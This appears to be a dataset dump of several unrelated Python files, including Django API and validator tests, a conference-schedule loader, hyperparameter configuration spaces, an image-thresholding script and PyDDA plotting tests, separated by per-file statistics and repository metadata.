self.assertEqual(response.status_code, status.HTTP_200_OK) def test_put_valid_menu_logged_user_not_owner(self): client.login(username="test", password="test") response = client.put( reverse("menu:cards-detail", kwargs={"pk": self.menu_staff.pk}), data=json.dumps(self.valid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_put_invalid_menu_logged_user(self): client.login(username="test", password="test") response = client.put( reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}), data=json.dumps(self.invalid_menu), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_delete_menu_not_logged_user(self): response = client.delete( reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_delete_menu_logged_user(self): client.login(username="test", password="test") response = client.delete( reverse("menu:cards-detail", kwargs={"pk": self.menu.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) def test_delete_menu_logged_user_not_owner(self): client.login(username="test", password="test") response = client.delete( reverse("menu:cards-detail", kwargs={"pk": self.menu_staff.pk}), content_type="application/json", ) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
41.653543
126
0.643226
1,940
15,870
5.030928
0.068557
0.09375
0.127254
0.109939
0.91998
0.903074
0.89416
0.871516
0.858607
0.826742
0
0.018829
0.226969
15,870
381
127
41.653543
0.776736
0
0
0.616314
0
0
0.114801
0
0
0
0
0
0.18429
1
0.117825
false
0.060423
0.02719
0
0.151057
0.003021
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
b31f4512e412d79bf186b3732ec103b5037e1679
1,294
py
Python
mymoney/core/tests/test_validators.py
ychab/mymoney-server
40dc9fdd08b3561287a9153342b25c58de8ad8ce
[ "BSD-3-Clause" ]
6
2015-12-11T13:36:27.000Z
2018-10-17T03:08:15.000Z
mymoney/core/tests/test_validators.py
ychab/mymoney-server
40dc9fdd08b3561287a9153342b25c58de8ad8ce
[ "BSD-3-Clause" ]
2
2016-06-12T12:42:47.000Z
2017-12-12T14:05:14.000Z
mymoney/core/tests/test_validators.py
ychab/mymoney-server
40dc9fdd08b3561287a9153342b25c58de8ad8ce
[ "BSD-3-Clause" ]
1
2022-02-21T21:20:51.000Z
2022-02-21T21:20:51.000Z
from django.test import TestCase from rest_framework import serializers from ..validators import MinMaxValidator class MinMaxValidatorTestCase(TestCase): def test_no_min(self): validator = MinMaxValidator(field_min='min', field_max='max') validator(data={'max': 10}) def test_no_max(self): validator = MinMaxValidator(field_min='min', field_max='max') validator(data={'min': 10}) def test_zero_lower(self): validator = MinMaxValidator(field_min='min', field_max='max') validator(data={'min': 0, 'max': 10}) def test_zero_greater(self): validator = MinMaxValidator(field_min='min', field_max='max') with self.assertRaises(serializers.ValidationError): validator(data={'min': 10, 'max': 0}) def test_greater(self): validator = MinMaxValidator(field_min='min', field_max='max') with self.assertRaises(serializers.ValidationError): validator(data={'min': -10, 'max': -20}) def test_equal(self): validator = MinMaxValidator(field_min='min', field_max='max') validator(data={'min': 5.5, 'max': 5.5}) def test_lower(self): validator = MinMaxValidator(field_min='min', field_max='max') validator(data={'min': 5.4, 'max': 5.5})
33.179487
69
0.653787
157
1,294
5.22293
0.203822
0.059756
0.239024
0.281707
0.715854
0.715854
0.715854
0.715854
0.715854
0.715854
0
0.021256
0.200155
1,294
38
70
34.052632
0.771014
0
0
0.333333
0
0
0.060278
0
0
0
0
0
0.074074
1
0.259259
false
0
0.111111
0
0.407407
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
b32c32914a8d32e0e1eb433916215e999193e5a2
1,715
py
Python
tests/test_transform.py
tylerbwong/octohook
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
[ "MIT" ]
4
2020-04-24T18:25:51.000Z
2020-11-11T01:38:17.000Z
tests/test_transform.py
tylerbwong/octohook
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
[ "MIT" ]
11
2020-03-24T03:35:06.000Z
2022-03-31T09:50:49.000Z
tests/test_transform.py
tylerbwong/octohook
f0372f98dba16d653ab9beda42e4a9dd508dd3b1
[ "MIT" ]
2
2020-05-19T14:03:51.000Z
2022-03-31T04:23:53.000Z
import pytest from octohook.models import _transform as transform @pytest.mark.parametrize( "url, local_variables, expected", [ ("url/{a}/{b}", {"a": "a", "b": "b"}, "url/a/b"), ("url/some/more/{a}...{b}", {"a": "a", "b": "b"}, "url/some/more/a...b"), ], ) def test_no_optional(url, local_variables, expected): assert transform(url, local_variables) == expected @pytest.mark.parametrize( "url, local_variables, expected", [ ("url/a{/b}", {"b": "b"}, "url/a/b"), ("url/a{/b}", {"b": None}, "url/a"), ("url{/a}{/b}", {"a": None, "b": None}, "url"), ("url{/a}{/b}", {"a": "a", "b": None}, "url/a"), ("url{/a}{/b}", {"a": "a", "b": None}, "url/a"), ("url{/a}{/b}", {"a": None, "b": "b"}, "url"), ("url{/a}{/b}{/c}", {"a": None, "b": "b"}, "url"), ], ) def test_all_optional(url, local_variables, expected): assert transform(url, local_variables) == expected @pytest.mark.parametrize( "url, local_variables, expected", [ ("url/{a}{/b}", {"a": "a", "b": "b"}, "url/a/b"), ("url/{a}{/b}", {"a": "a", "b": None}, "url/a"), ("url/{a}{/b}{/c}", {"a": "a", "b": "b", "c": "c"}, "url/a/b/c"), ("url/{a}{/b}{/c}", {"a": "a", "b": "b", "c": None}, "url/a/b"), ("url/{a}{/b}{/c}", {"a": "a", "b": None, "c": None}, "url/a"), ("url/{a}{/b}{/c}", {"a": "a", "b": None, "c": "c"}, "url/a"), ("url/{a}...{b}{/c}", {"a": "a", "b": "b", "c": "c"}, "url/a...b/c"), ("url/{a}...{b}{/c}", {"a": "a", "b": "b", "c": None}, "url/a...b"), ], ) def test_some_optional(url, local_variables, expected): assert transform(url, local_variables) == expected
35.729167
81
0.441399
251
1,715
2.952191
0.099602
0.099865
0.155196
0.303644
0.873144
0.846154
0.821862
0.809717
0.793522
0.767881
0
0
0.208163
1,715
47
82
36.489362
0.545655
0
0
0.35
0
0
0.28863
0.013411
0
0
0
0
0.075
1
0.075
false
0
0.05
0
0.125
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b3480b6664a1dda51644a15add4202651fd548bb
11,778
py
Python
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
mzdaniel/symposion
b2f557ca1be3bd61db2d902a31d57049fb6855c5
[ "MIT" ]
1
2017-09-04T08:19:08.000Z
2017-09-04T08:19:08.000Z
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
mzdaniel/symposion
b2f557ca1be3bd61db2d902a31d57049fb6855c5
[ "MIT" ]
null
null
null
symposion_project/apps/symposion/schedule/management/commands/load_sessions.py
mzdaniel/symposion
b2f557ca1be3bd61db2d902a31d57049fb6855c5
[ "MIT" ]
null
null
null
from datetime import datetime from django.core.management.base import BaseCommand from schedule.models import Track, Session, Slot friday_plenaries = [ [ { "start": datetime(2011, 3, 11, 7, 0), "end": datetime(2011, 3, 11, 8, 0), }, { "start": datetime(2011, 3, 11, 8, 0), "end": datetime(2011, 3, 11, 9, 0), }, ], [ { "start": datetime(2011, 3, 11, 9, 0), "end": datetime(2011, 3, 11, 9, 10), }, { "start": datetime(2011, 3, 11, 9, 10), "end": datetime(2011, 3, 11, 9, 40), }, { "start": datetime(2011, 3, 11, 9, 40), "end": datetime(2011, 3, 11, 10, 5), }, ], [ { "start": datetime(2011, 3, 11, 10, 5), "end": datetime(2011, 3, 11, 10, 25), }, ], [ { "start": datetime(2011, 3, 11, 17, 30), "end": datetime(2011, 3, 11, 18, 0), }, ], ] friday_slots_type_1 = [ [ { "start": datetime(2011, 3, 11, 10, 25), "end": datetime(2011, 3, 11, 11, 5), }, { "start": datetime(2011, 3, 11, 11, 5), "end": datetime(2011, 3, 11, 11, 45), }, { "start": datetime(2011, 3, 11, 11, 45), "end": datetime(2011, 3, 11, 12, 30), }, ], [ { "title": "Lunch", "start": datetime(2011, 3, 11, 12, 30), "end": datetime(2011, 3, 11, 13, 35), }, ], [ { "start": datetime(2011, 3, 11, 13, 35), "end": datetime(2011, 3, 11, 14, 15), }, { "start": datetime(2011, 3, 11, 14, 15), "end": datetime(2011, 3, 11, 14, 55), }, { "start": datetime(2011, 3, 11, 14, 55), "end": datetime(2011, 3, 11, 15, 40), }, ], [ { "title": "Afternoon Break with Snacks in Expo Hall", "start": datetime(2011, 3, 11, 15, 40), "end": datetime(2011, 3, 11, 16, 15), }, ], [ { "start": datetime(2011, 3, 11, 16, 15), "end": datetime(2011, 3, 11, 16, 55), }, { "start": datetime(2011, 3, 11, 16, 55), "end": datetime(2011, 3, 11, 17, 30), }, ] ] friday_slots_type_2 = [ [ { "start": datetime(2011, 3, 11, 10, 25), "end": datetime(2011, 3, 11, 11, 5), }, { "start": datetime(2011, 3, 11, 11, 5), "end": datetime(2011, 3, 11, 11, 45), }, { "start": datetime(2011, 3, 11, 11, 45), "end": datetime(2011, 3, 11, 12, 15), }, ], [ { "title": "Lunch", "start": datetime(2011, 3, 11, 12, 15), "end": datetime(2011, 3, 11, 13, 20), }, ], [ { "start": datetime(2011, 3, 11, 13, 20), "end": datetime(2011, 3, 11, 14, 15), }, { "start": datetime(2011, 3, 11, 14, 15), "end": datetime(2011, 3, 11, 14, 55), }, { "start": datetime(2011, 3, 11, 14, 55), "end": datetime(2011, 3, 11, 15, 25), }, ], [ { "title": "Afternoon Break with Snacks in Expo Hall", "start": datetime(2011, 3, 11, 15, 25), "end": datetime(2011, 3, 11, 16, 0), }, ], [ { "start": datetime(2011, 3, 11, 16, 0), "end": datetime(2011, 3, 11, 16, 55), }, { "start": datetime(2011, 3, 11, 16, 55), "end": datetime(2011, 3, 11, 17, 30), }, ] ] saturday_plenaries = [ [ { "start": datetime(2011, 3, 12, 7, 0), "end": datetime(2011, 3, 12, 8, 0), }, { "start": datetime(2011, 3, 12, 8, 0), "end": datetime(2011, 3, 12, 8, 30), }, ], [ { "start": datetime(2011, 3, 12, 8, 30), "end": datetime(2011, 3, 12, 9, 0), }, { "start": datetime(2011, 3, 12, 9, 0), "end": datetime(2011, 3, 12, 9, 5), }, { "start": datetime(2011, 3, 12, 9, 5), "end": datetime(2011, 3, 12, 9, 20), }, { "start": datetime(2011, 3, 12, 9, 20), "end": datetime(2011, 3, 12, 9, 35), }, { "start": datetime(2011, 3, 12, 9, 35), "end": datetime(2011, 3, 12, 10, 5), }, ], [ { "start": datetime(2011, 3, 12, 10, 5), "end": datetime(2011, 3, 12, 10, 25), }, ], [ { "start": datetime(2011, 3, 12, 17, 30), "end": datetime(2011, 3, 12, 18, 0), }, ], ] saturday_slots_type_1 = [ [ { "start": datetime(2011, 3, 12, 10, 25), "end": datetime(2011, 3, 12, 11, 5), }, { "start": datetime(2011, 3, 12, 11, 5), "end": datetime(2011, 3, 12, 11, 45), }, { "start": datetime(2011, 3, 12, 11, 45), "end": datetime(2011, 3, 12, 12, 30), }, ], [ { "title": "Lunch", "start": datetime(2011, 3, 12, 12, 30), "end": datetime(2011, 3, 12, 13, 35), }, ], [ { "start": datetime(2011, 3, 12, 13, 35), "end": datetime(2011, 3, 12, 14, 15), }, { "start": datetime(2011, 3, 12, 14, 15), "end": datetime(2011, 3, 12, 14, 55), }, { "start": datetime(2011, 3, 12, 14, 55), "end": datetime(2011, 3, 12, 15, 40), }, ], [ { "title": "Afternoon Break with Snacks in Expo Hall", "start": datetime(2011, 3, 12, 15, 40), "end": datetime(2011, 3, 12, 16, 15), }, ], [ { "start": datetime(2011, 3, 12, 16, 15), "end": datetime(2011, 3, 12, 16, 55), }, { "start": datetime(2011, 3, 12, 16, 55), "end": datetime(2011, 3, 12, 17, 30), }, ] ] saturday_slots_type_2 = [ [ { "start": datetime(2011, 3, 12, 10, 25), "end": datetime(2011, 3, 12, 11, 5), }, { "start": datetime(2011, 3, 12, 11, 5), "end": datetime(2011, 3, 12, 11, 45), }, { "start": datetime(2011, 3, 12, 11, 45), "end": datetime(2011, 3, 12, 12, 15), }, ], [ { "title": "Lunch", "start": datetime(2011, 3, 12, 12, 15), "end": datetime(2011, 3, 12, 13, 20), }, ], [ { "start": datetime(2011, 3, 12, 13, 20), "end": datetime(2011, 3, 12, 14, 15), }, { "start": datetime(2011, 3, 12, 14, 15), "end": datetime(2011, 3, 12, 14, 55), }, { "start": datetime(2011, 3, 12, 14, 55), "end": datetime(2011, 3, 12, 15, 25), }, ], [ { "title": "Afternoon Break with Snacks in Expo Hall", "start": datetime(2011, 3, 12, 15, 25), "end": datetime(2011, 3, 12, 16, 0), }, ], [ { "start": datetime(2011, 3, 12, 16, 0), "end": datetime(2011, 3, 12, 16, 55), }, { "start": datetime(2011, 3, 12, 16, 55), "end": datetime(2011, 3, 12, 17, 30), }, ] ] sunday_plenaries = [ [ { "start": datetime(2011, 3, 13, 7, 0), "end": datetime(2011, 3, 13, 8, 30), }, ], [ { "start": datetime(2011, 3, 13, 8, 30), "end": datetime(2011, 3, 13, 9, 0), }, { "start": datetime(2011, 3, 13, 9, 0), "end": datetime(2011, 3, 13, 9, 5), }, { "start": datetime(2011, 3, 13, 9, 5), "end": datetime(2011, 3, 13, 9, 20), }, { "start": datetime(2011, 3, 13, 9, 20), "end": datetime(2011, 3, 13, 9, 35), }, { "start": datetime(2011, 3, 13, 9, 35), "end": datetime(2011, 3, 13, 10, 5), }, ], [ { "title": "Break with Snacks in Poster Area", "start": datetime(2011, 3, 13, 10, 5), "end": datetime(2011, 3, 13, 10, 25), }, ], [ { "start": datetime(2011, 3, 13, 10, 25), "end": datetime(2011, 3, 13, 11, 55), }, ], [ { "title": "Lunch", "start": datetime(2011, 3, 13, 12, 25), "end": datetime(2011, 3, 13, 13, 15), }, ], [ { "start": datetime(2011, 3, 13, 14, 35), "end": datetime(2011, 3, 13, 15, 35), }, { "start": datetime(2011, 3, 13, 15, 35), "end": datetime(2011, 3, 13, 15, 55), }, ], ] sunday_type_1 = [ [ { "start": datetime(2011, 3, 13, 11, 55), "end": datetime(2011, 3, 13, 12, 25), }, ], [ { "start": datetime(2011, 3, 13, 13, 15), "end": datetime(2011, 3, 13, 13, 55), }, { "start": datetime(2011, 3, 13, 13, 55), "end": datetime(2011, 3, 13, 14, 35), }, ], ] tracks = [ {"Centennial I": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]}, {"Centennial II": [friday_slots_type_2, saturday_slots_type_2, sunday_type_1]}, {"Centennial III": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]}, {"Centennial IV": [friday_slots_type_2, saturday_slots_type_2, sunday_type_1]}, {"Regency V": [friday_slots_type_1, saturday_slots_type_1, sunday_type_1]} ] class Command(BaseCommand): def handle(self, *args, **options): for track_data in tracks: for track_name, data in track_data.items(): track = Track.objects.create(name=track_name) print "Created Track: %s" % track_name for day in data: for session_data in day: session = Session.objects.create(track=track) print "\tCreated session for %s" % track_name for slot_data in session_data: slot = Slot.objects.create( track=track, session=session, start=slot_data.get("start"), end=slot_data.get("end"), title=slot_data.get("title") ) print "\t\tCreated slot: %s" % slot print "Plenaries" for data in [friday_plenaries, saturday_plenaries, sunday_plenaries]: for session_data in data: for slot_data in session_data: slot = Slot.objects.create( track=None, session=None, start=slot_data.get("start"), end=slot_data.get("end"), title=slot_data.get("title") ) print "\tCreated slot: %s" % slot
26.768182
84
0.393955
1,279
11,778
3.566849
0.06724
0.36826
0.398948
0.276195
0.853354
0.833187
0.5
0.464051
0.434239
0.434239
0
0.225144
0.438105
11,778
439
85
26.829157
0.464189
0
0
0.236277
0
0
0.085074
0
0
0
0
0
0
0
null
null
0
0.00716
null
null
0.011933
0
0
0
null
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
2fc505b34cdc88027dc226646e2f50f00ec5f7aa
3,165
py
Python
hp_transfer_benchmarks/fcnet/_configspaces.py
hp-transfer/ht_benchmarks
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
[ "MIT" ]
1
2021-03-16T22:50:11.000Z
2021-03-16T22:50:11.000Z
hp_transfer_benchmarks/fcnet/_configspaces.py
hp-transfer/ht_benchmarks
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
[ "MIT" ]
null
null
null
hp_transfer_benchmarks/fcnet/_configspaces.py
hp-transfer/ht_benchmarks
fed6b15d2feea19dbb5bbe4cb10dacdf41d7f400
[ "MIT" ]
null
null
null
import ConfigSpace as CS class FCNetConfigspaceA(CS.ConfigurationSpace): n_development_stages = 2 def __init__(self, development_stage=-1): super().__init__() self.development_stage = development_stage self.add_hyperparameter( CS.UniformIntegerHyperparameter("dropout_1", lower=0, upper=2) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("dropout_2", lower=0, upper=2) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("init_lr", lower=0, upper=5) ) self.add_hyperparameter( CS.CategoricalHyperparameter("activation_fn_1", choices=["relu", "tanh"]) ) self.add_hyperparameter( CS.CategoricalHyperparameter("activation_fn_2", choices=["relu", "tanh"]) ) if development_stage == 0: self.budget = 50 self.add_hyperparameter( CS.UniformIntegerHyperparameter("batch_size", lower=0, upper=3) ) else: self.budget = 100 def default_values(self): if self.development_stage == 0: return {"lr_schedule": "const", "n_units_1": 1, "n_units_2": 1} elif self.development_stage == 1 or self.development_stage == -1: return { "lr_schedule": "const", "n_units_1": 5, "n_units_2": 5, "batch_size": 1, } else: ValueError() class FCNetConfigspaceB(CS.ConfigurationSpace): n_development_stages = 2 def __init__(self, development_stage=-1): super().__init__() self.budget = 100 self.development_stage = development_stage self.add_hyperparameter( CS.UniformIntegerHyperparameter("n_units_1", lower=0, upper=5) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("n_units_2", lower=0, upper=5) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("dropout_1", lower=0, upper=2) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("dropout_2", lower=0, upper=2) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("init_lr", lower=0, upper=5) ) self.add_hyperparameter( CS.UniformIntegerHyperparameter("batch_size", lower=0, upper=3) ) if self.development_stage == 1: self.add_hyperparameter( CS.CategoricalHyperparameter("activation_fn_1", choices=["relu", "tanh"]) ) self.add_hyperparameter( CS.CategoricalHyperparameter("activation_fn_2", choices=["relu", "tanh"]) ) def default_values(self): if self.development_stage == 0: return { "lr_schedule": "const", "activation_fn_1": "tanh", "activation_fn_2": "tanh", } elif self.development_stage == 1 or self.development_stage == -1: return {"lr_schedule": "cosine"} else: ValueError()
32.628866
89
0.581675
306
3,165
5.732026
0.166667
0.127708
0.167617
0.18358
0.86146
0.86146
0.86146
0.843786
0.843786
0.801026
0
0.02802
0.312164
3,165
96
90
32.96875
0.777676
0
0
0.621951
0
0
0.103949
0
0
0
0
0
0
1
0.04878
false
0
0.012195
0
0.158537
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2fe6f6f9083cb29233a5052bd405894fd8dda281
779
py
Python
restraint/tests/commands_tests.py
ambitioninc/django-restraint
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
[ "MIT" ]
12
2015-03-20T19:09:22.000Z
2017-08-31T16:47:10.000Z
restraint/tests/commands_tests.py
ambitioninc/django-restraint
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
[ "MIT" ]
4
2015-03-23T17:14:52.000Z
2016-07-28T15:49:28.000Z
restraint/tests/commands_tests.py
ambitioninc/django-restraint
993b071cd020310b42c1f85ae08e45c0fbd8a6f9
[ "MIT" ]
9
2015-03-18T13:29:58.000Z
2021-08-13T18:25:14.000Z
from django.core.management import call_command from django.test import SimpleTestCase from mock import patch class UpdateRestraintDbTest(SimpleTestCase): @patch('restraint.management.commands.update_restraint_db.update_restraint_db', spec_set=True) def test_wo_flush_default_access(self, mock_update_restraint_db): call_command('update_restraint_db') mock_update_restraint_db.assert_called_once_with(flush_default_access=False) @patch('restraint.management.commands.update_restraint_db.update_restraint_db', spec_set=True) def test_w_flush_default_access(self, mock_update_restraint_db): call_command('update_restraint_db', flush_default_access=True) mock_update_restraint_db.assert_called_once_with(flush_default_access=True)
48.6875
98
0.827985
105
779
5.67619
0.304762
0.251678
0.285235
0.14094
0.718121
0.718121
0.718121
0.718121
0.718121
0.718121
0
0
0.102696
779
15
99
51.933333
0.852647
0
0
0.166667
0
0
0.225931
0.17715
0
0
0
0
0.166667
1
0.166667
false
0
0.25
0
0.5
0
0
0
0
null
1
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2ff1526848a19cda2f12371bb318124eac6738ff
1,931
py
Python
python files/map_creator.py
dhbesson/abc_visualization
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
[ "MIT" ]
null
null
null
python files/map_creator.py
dhbesson/abc_visualization
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
[ "MIT" ]
null
null
null
python files/map_creator.py
dhbesson/abc_visualization
b024bf551e0e331e3f7bd9d63dbe1437a3c25aa7
[ "MIT" ]
null
null
null
from PIL import Image def create_map(im_loc,im_save, b_thresh): # im = Image.open('networks/mesh_1000W_2m/0128210631_ABC.4326.png') # Can be many different formats. im = Image.open(im_loc) # Can be many different formats. pix = im.load() print(im.size) for x in range(im.size[0]): for y in range(im.size[1]): # if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] >= 235): # if pix[x,y] != (255,255,255, 0) and (pix[x,y][0] > 0 or pix[x,y][2] <= 30): if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] > 0 or pix[x, y][2] <= b_thresh): # print(pix[x, y]) pix[x,y] = (255, 0, 0) # print(pix[x,y]) else: pix[x, y] = (255, 255, 255, 0) # im.show() # im.save('networks/mesh_1000W_2m/0128225136_gav_1000W_2m.4326.png') # Save the modified pixels as .png im.save(im_save) # Save the modified pixels as .png def create_cel_map(im_loc,im_save): # im = Image.open('networks/mesh_1000W_2m/0128210631_ABC.4326.png') # Can be many different formats. im = Image.open(im_loc) # Can be many different formats. pix = im.load() print(im.size) for x in range(im.size[0]): for y in range(im.size[1]): if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] >= 235): # if pix[x,y] != (255,255,255, 0) and (pix[x,y][0] > 0 or pix[x,y][2] <= 30): # if pix[x, y] != (255, 255, 255, 0) and (pix[x, y][0] > 0 or pix[x, y][2] <= b_thresh): # print(pix[x, y]) pix[x,y] = (255, 0, 0) # print(pix[x,y]) else: pix[x, y] = (255, 255, 255, 0) # im.show() # im.save('networks/mesh_1000W_2m/0128225136_gav_1000W_2m.4326.png') # Save the modified pixels as .png im.save(im_save) # Save the modified pixels as .png
47.097561
109
0.520974
327
1,931
2.984709
0.16208
0.098361
0.122951
0.081967
0.952869
0.92418
0.92418
0.92418
0.92418
0.92418
0
0.152125
0.305541
1,931
40
110
48.275
0.57569
0.47333
0
0.782609
0
0
0
0
0
0
0
0
0
1
0.086957
false
0
0.043478
0
0.130435
0.086957
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6419e2f1a4724d2fcbbf62346e7e76fde98dba23
46
py
Python
src/big_torch/utils/__init__.py
Denchidlo/big-torch
f5a65e6216e46e6d4fe98670c52618e4cccc8163
[ "MIT" ]
null
null
null
src/big_torch/utils/__init__.py
Denchidlo/big-torch
f5a65e6216e46e6d4fe98670c52618e4cccc8163
[ "MIT" ]
1
2021-11-21T13:11:31.000Z
2021-11-22T00:18:29.000Z
src/big_torch/utils/__init__.py
Denchidlo/big-torch
f5a65e6216e46e6d4fe98670c52618e4cccc8163
[ "MIT" ]
null
null
null
from . import registry from . import warnings
15.333333
22
0.782609
6
46
6
0.666667
0.555556
0
0
0
0
0
0
0
0
0
0
0.173913
46
2
23
23
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ff3e43dde2acc5d2503545f1960375b698e9bdf4
403
py
Python
src/utils/import_models.py
RUBIX-ML/credit-analysis
68c4c2a16176f295e852800483802e4183d1df43
[ "MIT" ]
1
2019-09-23T04:55:20.000Z
2019-09-23T04:55:20.000Z
src/utils/import_models.py
RUBIX-ML/credit-analysis
68c4c2a16176f295e852800483802e4183d1df43
[ "MIT" ]
null
null
null
src/utils/import_models.py
RUBIX-ML/credit-analysis
68c4c2a16176f295e852800483802e4183d1df43
[ "MIT" ]
null
null
null
from lightgbm import LGBMClassifier from xgboost import XGBClassifier from sklearn.ensemble import ExtraTreesClassifier from sklearn.ensemble import GradientBoostingClassifier from sklearn.ensemble import AdaBoostClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.svm import SVC from sklearn.tree import DecisionTreeRegressor from sklearn.linear_model import LogisticRegression
40.3
55
0.8933
44
403
8.159091
0.431818
0.214485
0.211699
0.278552
0
0
0
0
0
0
0
0
0.08933
403
9
56
44.777778
0.978202
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ffac39a9257069a125f151739509359b910f6871
6,645
py
Python
pydda/tests/test_plots.py
mmenickelly/PyDDA
a896c6b0268afed1a853f2f593f58103da6c4cb7
[ "BSD-3-Clause" ]
49
2018-10-15T23:16:57.000Z
2022-02-22T20:53:33.000Z
pydda/tests/test_plots.py
mmenickelly/PyDDA
a896c6b0268afed1a853f2f593f58103da6c4cb7
[ "BSD-3-Clause" ]
21
2018-12-11T15:33:02.000Z
2022-03-04T09:28:06.000Z
pydda/tests/test_plots.py
mmenickelly/PyDDA
a896c6b0268afed1a853f2f593f58103da6c4cb7
[ "BSD-3-Clause" ]
26
2018-10-15T15:40:44.000Z
2022-03-24T11:55:59.000Z
""" Testing module for PyDDA visualizations """ from matplotlib import use use('agg') import pydda import pyart import pytest import matplotlib.pyplot as plt import cartopy.crs as ccrs @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xsection_barbs(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(7,7)) pydda.vis.plot_horiz_xsection_barbs(Grids, None, 'reflectivity', level=6, w_vel_contours=[3, 6, 9], barb_spacing_x_km=5.0, barb_spacing_y_km=15.0) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xz_xsection_barbs(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) pydda.vis.plot_xz_xsection_barbs(Grids, None, 'reflectivity', level=40, w_vel_contours=[3, 6, 9], barb_spacing_x_km=10.0, barb_spacing_z_km=2.0) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_yz_xsection_barbs(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) pydda.vis.plot_yz_xsection_barbs(Grids, None, 'reflectivity', level=40, w_vel_contours=[1, 3, 5, 7], barb_spacing_y_km=10.0, barb_spacing_z_km=2.0) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xsection_barbs_map(): berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0) cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1) fig = plt.figure(figsize=(9, 9)) ax = plt.axes(projection=ccrs.PlateCarree()) pydda.vis.plot_horiz_xsection_barbs_map( [cpol_grid, berr_grid], ax, 'reflectivity', bg_grid_no=-1, level=7, w_vel_contours=[3, 5, 8]) return fig @pytest.mark.mpl_image_compare(tolerance=60) def test_plot_horiz_xsection_streamlines(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(7,7)) pydda.vis.plot_horiz_xsection_streamlines(Grids, None, 'reflectivity', level=6, w_vel_contours=[3, 6, 9]) return fig @pytest.mark.mpl_image_compare(tolerance=60) def test_plot_horiz_xsection_streamlines_map(): berr_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0) cpol_grid = pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1) fig = plt.figure(figsize=(9, 9)) ax = plt.axes(projection=ccrs.PlateCarree()) pydda.vis.plot_horiz_xsection_streamlines_map( [cpol_grid, berr_grid], ax=ax, bg_grid_no=-1, level=7, w_vel_contours=[3, 5, 8]) return fig @pytest.mark.mpl_image_compare(tolerance=50) def test_plot_horiz_xz_xsection_streamlines(): Grids = [pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR0), pyart.io.read_grid(pydda.tests.EXAMPLE_RADAR1)] fig = plt.figure(figsize=(9,5)) 